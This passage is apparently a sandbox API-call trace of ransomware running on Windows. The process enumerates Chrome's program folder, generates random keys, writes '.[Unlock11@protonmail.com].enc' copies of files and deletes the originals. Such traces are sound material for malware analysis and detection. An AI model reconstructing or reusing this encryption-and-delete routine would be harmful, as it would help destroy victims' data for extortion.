Flags=0x0, Size=0x30) returned 0x3262d40 [0200.022] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_watcher.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_watcher.dll", lpFilePart=0x9bada4*="chrome_watcher.dll") returned 0x50 [0200.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0200.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0200.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0200.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0200.022] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\d3dcompiler_47.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\d3dcompiler_47.dll", lpFilePart=0x9bada4*="d3dcompiler_47.dll") returned 0x50 [0200.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0200.022] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\eventlog_provider.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\eventlog_provider.dll", lpFilePart=0x9bada4*="eventlog_provider.dll") returned 0x53 [0200.023] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat", lpFilePart=0x9bada4*="icudtl.dat") returned 0x48 [0200.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0200.023] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830)) returned 1 [0200.023] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367123c | out: pbBuffer=0x367123c) returned 1 [0200.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0200.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0200.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0200.024] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0200.024] GetFileType (hFile=0x334) returned 0x1 [0200.024] GetFileType (hFile=0x334) returned 0x1 [0200.024] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0200.024] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.024] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.025] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.025] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.025] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.025] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.025] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0200.025] GetFileType (hFile=0x39c) returned 0x1 [0200.025] GetFileType (hFile=0x39c) returned 0x1 [0200.026] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0200.026] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.026] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.026] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.026] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.026] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.026] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.074] CloseHandle (hObject=0x39c) returned 1 [0201.075] CloseHandle (hObject=0x334) returned 1 [0201.075] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat")) returned 1 [0201.081] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\libegl.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\libegl.dll", lpFilePart=0x9bada4*="libegl.dll") returned 0x48 [0201.082] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\libglesv2.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\libglesv2.dll", lpFilePart=0x9bada4*="libglesv2.dll") returned 0x4b [0201.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0201.082] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\nacl_irt_x86_64.nexe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\nacl_irt_x86_64.nexe", lpFilePart=0x9bada4*="nacl_irt_x86_64.nexe") returned 0x52 [0201.082] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin", lpFilePart=0x9bada4*="natives_blob.bin") returned 0x4e [0201.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0201.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0201.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0201.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0201.083] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516566d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36315)) returned 1 [0201.083] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ee4 | out: pbBuffer=0x3671ee4) returned 1 [0201.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0201.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0201.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0201.145] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0201.146] GetFileType (hFile=0x334) returned 0x1 [0201.146] GetFileType (hFile=0x334) returned 0x1 [0201.146] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.146] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.146] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.146] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.146] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.147] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0201.147] GetFileType (hFile=0x39c) returned 0x1 [0201.148] GetFileType (hFile=0x39c) returned 0x1 [0201.148] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.148] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.148] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.148] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.148] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.148] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.148] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.158] CloseHandle (hObject=0x39c) returned 1 [0201.158] CloseHandle (hObject=0x334) returned 1 [0201.158] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin")) returned 1 [0201.160] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak", lpFilePart=0x9bada4*="resources.pak") returned 0x4b [0201.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0201.161] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin", lpFilePart=0x9bada4*="snapshot_blob.bin") returned 0x4f [0201.161] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51701534, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x175b94)) returned 1 [0201.161] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718a4 | out: pbBuffer=0x36718a4) returned 1 [0201.161] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0201.162] GetFileType (hFile=0x334) returned 0x1 [0201.162] GetFileType (hFile=0x334) returned 0x1 [0201.162] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.162] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.162] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.162] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.162] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.162] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.162] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.163] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0201.163] GetFileType (hFile=0x39c) returned 0x1 [0201.163] GetFileType (hFile=0x39c) returned 0x1 [0201.163] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0201.163] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.163] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.164] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.164] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.164] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0201.164] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0201.285] CloseHandle (hObject=0x39c) returned 1 [0201.286] CloseHandle (hObject=0x334) returned 1 [0201.286] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin")) returned 1 [0201.290] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0201.291] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0201.292] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5170b174, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0201.292] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51725f24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0201.292] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5173e5c4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0201.292] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51732274, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0201.292] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51737094, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0201.292] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51737094, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0201.293] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0201.293] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\docs.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\docs.crx")) returned 0x20 [0201.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0201.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0201.295] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\drive.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\drive.crx")) returned 0x20 [0201.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0201.297] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json")) returned 0x20 [0201.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0201.298] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\gmail.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\gmail.crx")) returned 0x20 [0201.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0201.298] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\youtube.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\youtube.crx")) returned 0x20 [0201.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0201.298] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881150, Size=0x20) returned 0x3733eb8 [0201.298] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\docs.crx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\docs.crx", lpFilePart=0x9bada4*="docs.crx") returned 0x53 [0201.299] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\drive.crx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\drive.crx", lpFilePart=0x9bada4*="drive.crx") returned 0x54 [0201.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0201.299] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json", lpFilePart=0x9bada4*="external_extensions.json") returned 0x63 [0201.299] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps\\external_extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5173e5c4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4f2)) returned 1 [0201.299] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0201.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 